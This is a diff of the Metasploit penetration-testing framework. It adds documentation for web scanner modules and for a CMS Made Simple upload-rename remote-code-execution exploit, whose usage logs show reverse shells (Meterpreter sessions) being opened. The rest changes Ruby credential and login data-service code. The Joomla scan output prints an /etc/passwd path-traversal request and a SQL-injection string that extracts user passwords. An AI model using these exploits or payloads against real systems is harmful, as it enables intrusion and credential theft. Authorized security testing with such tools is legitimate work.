[+] 1.1.1.1:1720 - 1.1.1.1:1720 Protocol: 3 VendorID: 0x6100023c VersionID: v.5.4 ProductID: Gateway
|
||||
[*] 1.1.1.1:1720 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,45 @@
|
|||
## Intro
|
||||
|
||||
This module scans a web server for a file name with various backup type extensions.
|
||||
The list of extensions are:
|
||||
|
||||
1. .backup
|
||||
2. .bak
|
||||
3. .copy
|
||||
4. .copia
|
||||
5. .old
|
||||
6. .orig
|
||||
7. .temp
|
||||
8. .txt
|
||||
9. ~
|
||||
|
||||
## Usage
|
||||
|
||||
In the basic config, you'll search for the extensions on `/index.asp`, which may not be very useful.
|
||||
In this scenario, we look for `/backup` instead. On the web server, we've created the files `backup.old`,
|
||||
`backup.orig`, and `backup~`.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/backup_file
|
||||
msf5 auxiliary(scanner/http/backup_file) > set verbose true
|
||||
verbose => true
|
||||
msf5 auxiliary(scanner/http/backup_file) > set path /backup
|
||||
path => /backup
|
||||
msf5 auxiliary(scanner/http/backup_file) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/backup_file) > run
|
||||
|
||||
[*] NOT Found http://192.168.2.39:80/backup.backup
|
||||
[*] NOT Found http://192.168.2.39:80/backup.bak
|
||||
[*] NOT Found http://192.168.2.39:80/backup.copy
|
||||
[*] NOT Found http://192.168.2.39:80/backup.copia
|
||||
[+] Found http://192.168.2.39:80/backup.old
|
||||
[+] Found http://192.168.2.39:80/backup.orig
|
||||
[*] NOT Found http://192.168.2.39:80/backup.temp
|
||||
[*] NOT Found http://192.168.2.39:80/backup.txt
|
||||
[+] Found http://192.168.2.39:80/backup~
|
||||
[*] NOT Found http://192.168.2.39:80/.backup.swp
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
|
@ -0,0 +1,31 @@
|
|||
## Intro
|
||||
|
||||
This module pulls and parses the URLs stored by Archive.org for the purpose of replaying
|
||||
during a web assessment. Finding unlinked and old pages. This module utilizes
|
||||
[Archive.org's Wayback Machine](https://archive.org/web/)'s [API](https://archive.org/help/wayback_api.php).
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/enum_wayback
|
||||
msf5 auxiliary(scanner/http/enum_wayback) > set domain rapid7.com
|
||||
domain => rapid7.com
|
||||
msf5 auxiliary(scanner/http/enum_wayback) > run
|
||||
|
||||
[*] Pulling urls from Archive.org
|
||||
[*] Located 43656 addresses for rapid7.com
|
||||
http://mailto:info@rapid7.com/
|
||||
http://mailto:sales@rapid7.com/
|
||||
http://mailto:sales@rapid7.com/robots.txt
|
||||
http://rapid7.com
|
||||
http://rapid7.com/
|
||||
http://rapid7.com/GlobalStyleSheet.css
|
||||
http://rapid7.com/WebResources/images/Background2.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Downloads_u.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Home_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/NeXpose_u.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Support_d.gif
|
||||
http://rapid7.com/WebResources/images/GlobalNavigation/Support_u.gif
|
||||
...snip...
|
||||
```
|
|
@ -0,0 +1,26 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server for the following pages:
|
||||
|
||||
1. `robots.txt`
|
||||
2. `administrator/index.php`
|
||||
3. `admin/`
|
||||
4. `index.php/using-joomla/extensions/components/users-component/registration-form`
|
||||
5. `index.php/component/users/?view=registration`
|
||||
6. `htaccess.txt`
|
||||
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/joomla_pages
|
||||
msf5 auxiliary(scanner/http/joomla_pages) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/joomla_pages) > run
|
||||
|
||||
[+] Page Found: /robots.txt
|
||||
[+] Page Found: /administrator/index.php
|
||||
[+] Page Found: /htaccess.txt
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
|
@ -0,0 +1,143 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server for components/plugins.
|
||||
The list can be found in [data/wordlists/joomla.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/joomla.txt).
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/joomla_plugins
|
||||
msf5 auxiliary(scanner/http/joomla_plugins) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/joomla_plugins) > run
|
||||
|
||||
[+] Plugin: /?1.5.10-x
|
||||
[+] Plugin: /?1.5.11-x-http_ref
|
||||
[+] Plugin: /?1.5.11-x-php-s3lf
|
||||
[+] Plugin: /?1.5.3-path-disclose
|
||||
[+] Plugin: /?1.5.3-spam
|
||||
[+] Plugin: /?1.5.8-x
|
||||
[+] Plugin: /?1.5.9-x
|
||||
[+] Plugin: /?j1012-fixate-session
|
||||
[+] Plugin: /administrator/
|
||||
[+] Plugin: /administrator/components/
|
||||
[+] Plugin: /administrator/components/com_admin/
|
||||
[+] Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+
|
||||
[+] Plugin: /administrator/index.php?option=com_searchlog&act=log
|
||||
[+] Plugin: /components/com_banners/
|
||||
[+] Plugin: /components/com_content/
|
||||
[+] Page: /index.php?option=com_content
|
||||
[+] Plugin: /components/com_mailto/
|
||||
[+] Plugin: /components/com_search/
|
||||
[+] Page: /index.php?option=com_search
|
||||
[+] Plugin: /components/com_users/
|
||||
[+] Page: /index.php?option=com_users
|
||||
[+] Plugin: /index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1
|
||||
[+] Vulnerability: Potential LFI
|
||||
[+] Plugin: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--
|
||||
[+] Page: /index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Confirming using Joomscan
|
||||
|
||||
The `-ec` flag is used to enumerate components/plugins.
|
||||
|
||||
```
|
||||
# joomscan -u 192.168.2.39 -ec
|
||||
____ _____ _____ __ __ ___ ___ __ _ _
|
||||
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
|
||||
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
|
||||
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
|
||||
(1337.today)
|
||||
|
||||
--=[OWASP JoomScan
|
||||
+---++---==[Version : 0.0.5
|
||||
+---++---==[Update Date : [2018/03/13]
|
||||
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
|
||||
--=[Code name : KLOT
|
||||
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
|
||||
|
||||
Processing http://192.168.2.39 ...
|
||||
|
||||
...snip...
|
||||
|
||||
[+] Enumeration component (com_ajax)
|
||||
[++] Name: com_ajax
|
||||
Location : http://192.168.2.39/components/com_ajax/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_ajax/
|
||||
|
||||
|
||||
[+] Enumeration component (com_banners)
|
||||
[++] Name: com_banners
|
||||
Location : http://192.168.2.39/components/com_banners/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_banners/
|
||||
|
||||
|
||||
[+] Enumeration component (com_contact)
|
||||
[++] Name: com_contact
|
||||
Location : http://192.168.2.39/components/com_contact/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_contact/
|
||||
|
||||
|
||||
[+] Enumeration component (com_content)
|
||||
[++] Name: com_content
|
||||
Location : http://192.168.2.39/components/com_content/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_content/
|
||||
|
||||
|
||||
[+] Enumeration component (com_contenthistory)
|
||||
[++] Name: com_contenthistory
|
||||
Location : http://192.168.2.39/components/com_contenthistory/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_contenthistory/
|
||||
|
||||
|
||||
[+] Enumeration component (com_fields)
|
||||
[++] Name: com_fields
|
||||
Location : http://192.168.2.39/components/com_fields/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_fields/
|
||||
|
||||
|
||||
[+] Enumeration component (com_finder)
|
||||
[++] Name: com_finder
|
||||
Location : http://192.168.2.39/components/com_finder/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_finder/
|
||||
|
||||
|
||||
[+] Enumeration component (com_mailto)
|
||||
[++] Name: com_mailto
|
||||
Location : http://192.168.2.39/components/com_mailto/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_mailto/
|
||||
Installed version : 3.1
|
||||
|
||||
|
||||
[+] Enumeration component (com_media)
|
||||
[++] Name: com_media
|
||||
Location : http://192.168.2.39/components/com_media/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_media/
|
||||
|
||||
|
||||
[+] Enumeration component (com_newsfeeds)
|
||||
[++] Name: com_newsfeeds
|
||||
Location : http://192.168.2.39/components/com_newsfeeds/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_newsfeeds/
|
||||
|
||||
|
||||
[+] Enumeration component (com_search)
|
||||
[++] Name: com_search
|
||||
Location : http://192.168.2.39/components/com_search/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_search/
|
||||
|
||||
|
||||
[+] Enumeration component (com_users)
|
||||
[++] Name: com_users
|
||||
Location : http://192.168.2.39/components/com_users/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_users/
|
||||
|
||||
|
||||
[+] Enumeration component (com_wrapper)
|
||||
[++] Name: com_wrapper
|
||||
Location : http://192.168.2.39/components/com_wrapper/
|
||||
Directory listing is enabled : http://192.168.2.39/components/com_wrapper/
|
||||
Installed version : 3.1
|
||||
```
|
|
@ -0,0 +1,41 @@
|
|||
## Intro
|
||||
|
||||
This module scans for Joomla Content Management System running on a web server.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/http/joomla_version
|
||||
msf5 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.2.39
|
||||
rhosts => 192.168.2.39
|
||||
msf5 auxiliary(scanner/http/joomla_version) > run
|
||||
|
||||
[*] Server: Apache/2.4.29 (Ubuntu)
|
||||
[+] Joomla version: 3.8.2
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming using Joomscan
|
||||
|
||||
```
|
||||
# joomscan -u 192.168.2.39
|
||||
____ _____ _____ __ __ ___ ___ __ _ _
|
||||
(_ _)( _ )( _ )( \/ )/ __) / __) /__\ ( \( )
|
||||
.-_)( )(_)( )(_)( ) ( \__ \( (__ /(__)\ ) (
|
||||
\____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
|
||||
(1337.today)
|
||||
|
||||
--=[OWASP JoomScan
|
||||
+---++---==[Version : 0.0.5
|
||||
+---++---==[Update Date : [2018/03/13]
|
||||
+---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
|
||||
--=[Code name : KLOT
|
||||
@OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
|
||||
|
||||
Processing http://192.168.2.39 ...
|
||||
|
||||
[+] Detecting Joomla Version
|
||||
[++] Joomla 3.8.2
|
||||
...snip...
|
||||
```
|
|
@ -0,0 +1,69 @@
|
|||
## Description
|
||||
|
||||
CMS Made Simple allows an authenticated administrator to upload a file
|
||||
and rename it to have a `.php` extension. The file can then be executed
|
||||
by opening the URL of the file in the `/uploads/` directory.
|
||||
|
||||
This module has been successfully tested on CMS Made Simple versions
|
||||
2.2.5 and 2.2.7.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[CMS Made Simple v2.2.5](http://dev.cmsmadesimple.org/project/files/6)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `./msfconsole -q`
|
||||
2. `use use exploit/multi/http/cmsms_upload_rename_rce`
|
||||
3. `set username <username>`
|
||||
4. `set password <password>`
|
||||
5. `set rhosts <rhost>`
|
||||
6. `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### CMS Made Simple v2.2.5 on Ubuntu 18.04 (PHP 7.2.7, Apache 2.4.9)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
|
||||
username => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
|
||||
password => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123
|
||||
rhosts => 172.22.222.123
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.194:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.123
|
||||
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.123:44352) at 2018-07-17 08:41:33 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu
|
||||
OS : Linux ubuntu 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 18:02:16 UTC 2018 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### CMS Made Simple v2.2.5 on Windows 10 x64 (PHP 5.6.35, Apache 2.4.33)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/cmsms_upload_rename_rce
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev
|
||||
username => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev
|
||||
password => msfdev
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175
|
||||
rhosts => 172.22.222.175
|
||||
msf5 exploit(multi/http/cmsms_upload_rename_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.194:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.175
|
||||
[*] Meterpreter session 1 opened (172.22.222.194:4444 -> 172.22.222.175:49829) at 2018-07-17 08:46:27 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN10
|
||||
OS : Windows NT WIN10 10.0 build 17134 (Windows 10) AMD64
|
||||
Meterpreter : php/windows
|
||||
meterpreter >
|
||||
```
|
|
@ -20,7 +20,10 @@ module Metasploit
|
|||
'stdlib.h' => ['stddef.h'],
|
||||
'stdio.h' => ['stddef.h'],
|
||||
'String.h' => ['stddef.h'],
|
||||
'Winsock2.h' => ['stddef.h', 'Windows.h']
|
||||
'Winsock2.h' => ['stddef.h', 'Windows.h'],
|
||||
'rc4.h' => ['String.h', 'stdlib.h'],
|
||||
'base64.h' => ['stddef.h'],
|
||||
'xor.h' => ['stddef.h']
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -40,7 +40,7 @@ module Metasploit
|
|||
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||
# @return [Integer] The number of bytes written.
|
||||
def self.compile_c_to_file(out_file, c_template, type=:exe, cpu=Metasm::Ia32.new)
|
||||
pe = self.compile(c_template, type)
|
||||
pe = self.compile_c(c_template, type)
|
||||
File.write(out_file, pe)
|
||||
end
|
||||
|
||||
|
|
|
@ -9,6 +9,40 @@ module CredentialDataProxy
|
|||
end
|
||||
end
|
||||
|
||||
def create_cracked_credential(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
opts[:workspace_id] = workspace.id
|
||||
opts[:private_data] = opts.delete(:password)
|
||||
opts[:private_type] = :password
|
||||
old_core = data_service.creds(id: opts.delete(:core_id), workspace: workspace.name).first
|
||||
if old_core
|
||||
opts[:originating_core_id] = old_core.id
|
||||
opts[:origin_type] = :cracked_password
|
||||
end
|
||||
new_core = data_service.create_credential(opts)
|
||||
old_core.logins.each do |login|
|
||||
service = data_service.services(id: login.service_id)
|
||||
data_service.create_credential_login(core: new_core, service_id: service.id, status: Metasploit::Model::Login::Status::UNTRIED)
|
||||
end
|
||||
new_core
|
||||
rescue => e
|
||||
self.log_error(e, "Problem creating cracked credential")
|
||||
end
|
||||
end
|
||||
|
||||
def create_credential_and_login(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
core = data_service.create_credential(opts)
|
||||
opts[:core] = core
|
||||
login = data_service.create_credential_login(opts)
|
||||
core
|
||||
rescue => e
|
||||
self.log_error(e, "Problem creating credential and login")
|
||||
end
|
||||
end
|
||||
|
||||
def creds(opts = {})
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
|
@ -18,4 +52,23 @@ module CredentialDataProxy
|
|||
self.log_error(e, "Problem retrieving credentials")
|
||||
end
|
||||
end
|
||||
|
||||
def update_credential(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
add_opts_workspace(opts)
|
||||
data_service.update_credential(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem updating credential")
|
||||
end
|
||||
end
|
||||
|
||||
def delete_credentials(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
data_service.delete_credentials(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem deleting credentials")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -15,6 +15,7 @@ module DataProxyAutoLoader
|
|||
autoload :LootDataProxy, 'metasploit/framework/data_service/proxy/loot_data_proxy'
|
||||
autoload :SessionEventDataProxy, 'metasploit/framework/data_service/proxy/session_event_data_proxy'
|
||||
autoload :CredentialDataProxy, 'metasploit/framework/data_service/proxy/credential_data_proxy'
|
||||
autoload :LoginDataProxy, 'metasploit/framework/data_service/proxy/login_data_proxy'
|
||||
autoload :NmapDataProxy, 'metasploit/framework/data_service/proxy/nmap_data_proxy'
|
||||
autoload :DbExportDataProxy, 'metasploit/framework/data_service/proxy/db_export_data_proxy'
|
||||
autoload :DbImportDataProxy, 'metasploit/framework/data_service/proxy/db_import_data_proxy'
|
||||
|
@ -33,6 +34,7 @@ module DataProxyAutoLoader
|
|||
include LootDataProxy
|
||||
include SessionEventDataProxy
|
||||
include CredentialDataProxy
|
||||
include LoginDataProxy
|
||||
include NmapDataProxy
|
||||
include DbExportDataProxy
|
||||
include DbImportDataProxy
|
||||
|
|
|
@ -0,0 +1,55 @@
|
|||
module LoginDataProxy
|
||||
def logins(opts = {})
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
data_service.logins(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem retrieving logins")
|
||||
end
|
||||
end
|
||||
|
||||
def create_credential_login(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
data_service.create_credential_login(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem creating login")
|
||||
end
|
||||
end
|
||||
|
||||
def update_login(opts)
|
||||
begin
|
||||
data_service = self.get_data_service
|
||||
data_service.update_login(opts)
|
||||
rescue => e
|
||||
self.log_error(e, "Problem updating login")
|
||||
end
|
||||
end
|
||||
|
||||
def invalidate_login(opts)
|
||||
begin
|
||||
add_opts_workspace(opts)
|
||||
# Search for an existing Metasploit::Credential::Core object. It requires specific attributes.
|
||||
core_opts = {}
|
||||
core_opts[:workspace] = opts[:workspace]
|
||||
# The creds search uses regex for username and password lookup.
|
||||
# Alter the search string to only look for exact matches to avoid updating unexpected entries.
|
||||
core_opts[:user] = "^#{opts.fetch(:username)}$" if opts[:username]
|
||||
core_opts[:pass] = "^#{opts.fetch(:private_data)}$" if opts[:private_data]
|
||||
core_opts[:ports] = [ opts.fetch(:port) ] if opts[:port]
|
||||
core_opts[:host_ranges] = [ opts.fetch(:address) ] if opts[:address]
|
||||
core_opts[:svcs] = [ opts.fetch(:service_name) ] if opts[:service_name]
|
||||
|
||||
core = creds(core_opts).first
|
||||
if core
|
||||
core.logins.each do |login|
|
||||
login_opts = opts.slice(:access_level, :status, :last_attempted_at)
|
||||
login_opts[:id] = login.id
|
||||
update_login(login_opts)
|
||||
end
|
||||
end
|
||||
rescue => e
|
||||
self.log_error(e, "Problem invalidating login")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -14,6 +14,7 @@ module DataServiceAutoLoader
|
|||
autoload :RemoteLootDataService, 'metasploit/framework/data_service/remote/http/remote_loot_data_service'
|
||||
autoload :RemoteSessionEventDataService, 'metasploit/framework/data_service/remote/http/remote_session_event_data_service'
|
||||
autoload :RemoteCredentialDataService, 'metasploit/framework/data_service/remote/http/remote_credential_data_service'
|
||||
autoload :RemoteLoginDataService, 'metasploit/framework/data_service/remote/http/remote_login_data_service'
|
||||
autoload :RemoteNmapDataService, 'metasploit/framework/data_service/remote/http/remote_nmap_data_service'
|
||||
autoload :RemoteDbExportDataService, 'metasploit/framework/data_service/remote/http/remote_db_export_data_service'
|
||||
autoload :RemoteVulnAttemptDataService, 'metasploit/framework/data_service/remote/http/remote_vuln_attempt_data_service'
|
||||
|
@ -31,6 +32,7 @@ module DataServiceAutoLoader
|
|||
include RemoteLootDataService
|
||||
include RemoteSessionEventDataService
|
||||
include RemoteCredentialDataService
|
||||
include RemoteLoginDataService
|
||||
include RemoteNmapDataService
|
||||
include RemoteDbExportDataService
|
||||
include RemoteVulnAttemptDataService
|
||||
|
|
|
@ -8,17 +8,31 @@ module RemoteCredentialDataService
|
|||
CREDENTIAL_MDM_CLASS = 'Metasploit::Credential::Core'
|
||||
|
||||
def creds(opts = {})
|
||||
data = self.get_data(CREDENTIAL_API_PATH, opts)
|
||||
data = self.get_data(CREDENTIAL_API_PATH, nil, opts)
|
||||
rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, [])
|
||||
parsed_body = JSON.parse(data.response.body)
|
||||
parsed_body.each do |cred|
|
||||
private_object = to_ar(cred['private_class'].constantize, cred['private'])
|
||||
if cred['private']
|
||||
private_object = to_ar(cred['private']['type'].constantize, cred['private'])
|
||||
rv[parsed_body.index(cred)].private = private_object
|
||||
end
|
||||
if cred['origin']
|
||||
origin_object = to_ar(cred['origin']['type'].constantize, cred['origin'])
|
||||
rv[parsed_body.index(cred)].origin = origin_object
|
||||
end
|
||||
end
|
||||
rv
|
||||
end
|
||||
|
||||
def create_credential(opts)
|
||||
self.post_data_async(CREDENTIAL_API_PATH, opts)
|
||||
json_to_mdm_object(self.post_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def update_credential(opts)
|
||||
json_to_mdm_object(self.put_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def delete_credentials(opts)
|
||||
json_to_mdm_object(self.delete_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS, [])
|
||||
end
|
||||
end
|
|
@ -0,0 +1,26 @@
|
|||
require 'metasploit/framework/data_service/remote/http/response_data_helper'
|
||||
|
||||
module RemoteLoginDataService
|
||||
include ResponseDataHelper
|
||||
|
||||
LOGIN_API_PATH = '/api/v1/logins'
|
||||
# "MDM_CLASS" is a little misleading since it is not in that repo but trying to keep naming consistent across DataServices
|
||||
LOGIN_MDM_CLASS = 'Metasploit::Credential::Login'
|
||||
|
||||
def logins(opts)
|
||||
json_to_mdm_object(self.get_data(LOGIN_API_PATH, opts), LOGIN_MDM_CLASS, [])
|
||||
end
|
||||
|
||||
def create_credential_login(opts)
|
||||
json_to_mdm_object(self.post_data(LOGIN_API_PATH, opts), LOGIN_MDM_CLASS, []).first
|
||||
end
|
||||
|
||||
def update_login(opts)
|
||||
path = LOGIN_API_PATH
|
||||
if opts && opts[:id]
|
||||
id = opts.delete(:id)
|
||||
path = "#{LOGIN_API_PATH}/#{id}"
|
||||
end
|
||||
json_to_mdm_object(self.put_data(path, opts), LOGIN_MDM_CLASS, []).first
|
||||
end
|
||||
end
|
|
@ -5,6 +5,18 @@ require 'digest'
|
|||
#
|
||||
module ResponseDataHelper
|
||||
|
||||
|
||||
def process_response(response_wrapper)
|
||||
begin
|
||||
if response_wrapper.expected
|
||||
response_wrapper.response.body
|
||||
end
|
||||
rescue => e
|
||||
elog "Error processing response: #{e.message}"
|
||||
e.backtrace.each { |line| elog line }
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Converts an HTTP response to a Hash
|
||||
#
|
||||
|
@ -13,15 +25,12 @@ module ResponseDataHelper
|
|||
#
|
||||
def json_to_hash(response_wrapper)
|
||||
begin
|
||||
if response_wrapper.expected
|
||||
body = response_wrapper.response.body
|
||||
unless body.nil? && body.empty?
|
||||
parsed_body = JSON.parse(body).deep_symbolize_keys
|
||||
return parsed_body[:data]
|
||||
end
|
||||
body = process_response(response_wrapper)
|
||||
unless body.nil? || body.empty?
|
||||
return JSON.parse(body).symbolize_keys
|
||||
end
|
||||
rescue => e
|
||||
elog "Error parsing response: #{e.message}"
|
||||
elog "Error parsing response as JSON: #{e.message}"
|
||||
e.backtrace.each { |line| elog line }
|
||||
end
|
||||
end
|
||||
|
@ -104,6 +113,8 @@ module ResponseDataHelper
|
|||
case association.macro
|
||||
when :belongs_to
|
||||
data.delete("#{k}_id")
|
||||
# Polymorphic associations do not auto-create the 'build_model' method
|
||||
next if association.options[:polymorphic]
|
||||
to_ar(association.klass, v, obj.send("build_#{k}"))
|
||||
obj.class_eval do
|
||||
define_method("#{k}_id") { obj.send(k).id }
|
||||
|
|
|
@ -0,0 +1,18 @@
|
|||
module CredentialDataService
|
||||
|
||||
def creds(opts)
|
||||
raise 'CredentialDataService#creds is not implemented'
|
||||
end
|
||||
|
||||
def create_credential(opts)
|
||||
raise 'CredentialDataService#create_credential is not implemented'
|
||||
end
|
||||
|
||||
def update_credential(opts)
|
||||
raise 'CredentialDataService#update_credential is not implemented'
|
||||
end
|
||||
|
||||
def delete_credential(opts)
|
||||
raise 'CredentialDataService#delete_credential is not implemented'
|
||||
end
|
||||
end
|
|
@ -0,0 +1,14 @@
|
|||
module LoginDataService
|
||||
|
||||
def logins(opts)
|
||||
raise 'LoginDataService#logins is not implemented'
|
||||
end
|
||||
|
||||
def create_credential_login(opts)
|
||||
raise 'LoginDataService#create_credential_login is not implemented'
|
||||
end
|
||||
|
||||
def update_login(hosts)
|
||||
raise 'LoginDataService#update_login is not implemented'
|
||||
end
|
||||
end
|
|
@ -12,7 +12,7 @@ module Metasploit
|
|||
#
|
||||
# @return [Integer]
|
||||
def self.rand_int
|
||||
SecureRandom.random_number(100)
|
||||
SecureRandom.random_number(100000000)
|
||||
end
|
||||
|
||||
# Returns a random string.
|
||||
|
|
|
@ -183,6 +183,10 @@ class ReadableText
|
|||
output << "Available targets:\n"
|
||||
output << dump_exploit_targets(mod, indent)
|
||||
|
||||
# Check
|
||||
output << "Check supported:\n"
|
||||
output << "#{indent}#{mod.respond_to?(:check) ? 'Yes' : 'No'}\n\n"
|
||||
|
||||
# Options
|
||||
if (mod.options.has_options?)
|
||||
output << "Basic options:\n"
|
||||
|
@ -241,6 +245,10 @@ class ReadableText
|
|||
output << dump_module_actions(mod, indent)
|
||||
end
|
||||
|
||||
# Check
|
||||
output << "Check supported:\n"
|
||||
output << "#{indent}#{mod.respond_to?(:check) ? 'Yes' : 'No'}\n\n"
|
||||
|
||||
# Options
|
||||
if (mod.options.has_options?)
|
||||
output << "Basic options:\n"
|
||||
|
|
|
@ -115,8 +115,8 @@ module Auxiliary
|
|||
|
||||
mod.setup
|
||||
|
||||
# Run check
|
||||
mod.check
|
||||
# Run check if it exists
|
||||
mod.respond_to?(:check) ? mod.check : Msf::Exploit::CheckCode::Unsupported
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -185,8 +185,8 @@ module Exploit
|
|||
|
||||
mod.setup
|
||||
|
||||
# Run check
|
||||
mod.check
|
||||
# Run check if it exists
|
||||
mod.respond_to?(:check) ? mod.check : Msf::Exploit::CheckCode::Unsupported
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -56,7 +56,7 @@ module Auxiliary::AuthBrute
|
|||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_ntlm_cred
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id)
|
||||
creds = framework.db.creds(type: 'Metasploit::Credential::NTLMHash', workspace: myworkspace.name)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
|
@ -67,7 +67,7 @@ module Auxiliary::AuthBrute
|
|||
#
|
||||
# @yieldparam [Metasploit::Credential::Core]
|
||||
def each_password_cred
|
||||
creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id)
|
||||
creds = framework.db.creds(type: 'Metasploit::Credential::Password', workspace: myworkspace.name)
|
||||
creds.each do |cred|
|
||||
yield cred
|
||||
end
|
||||
|
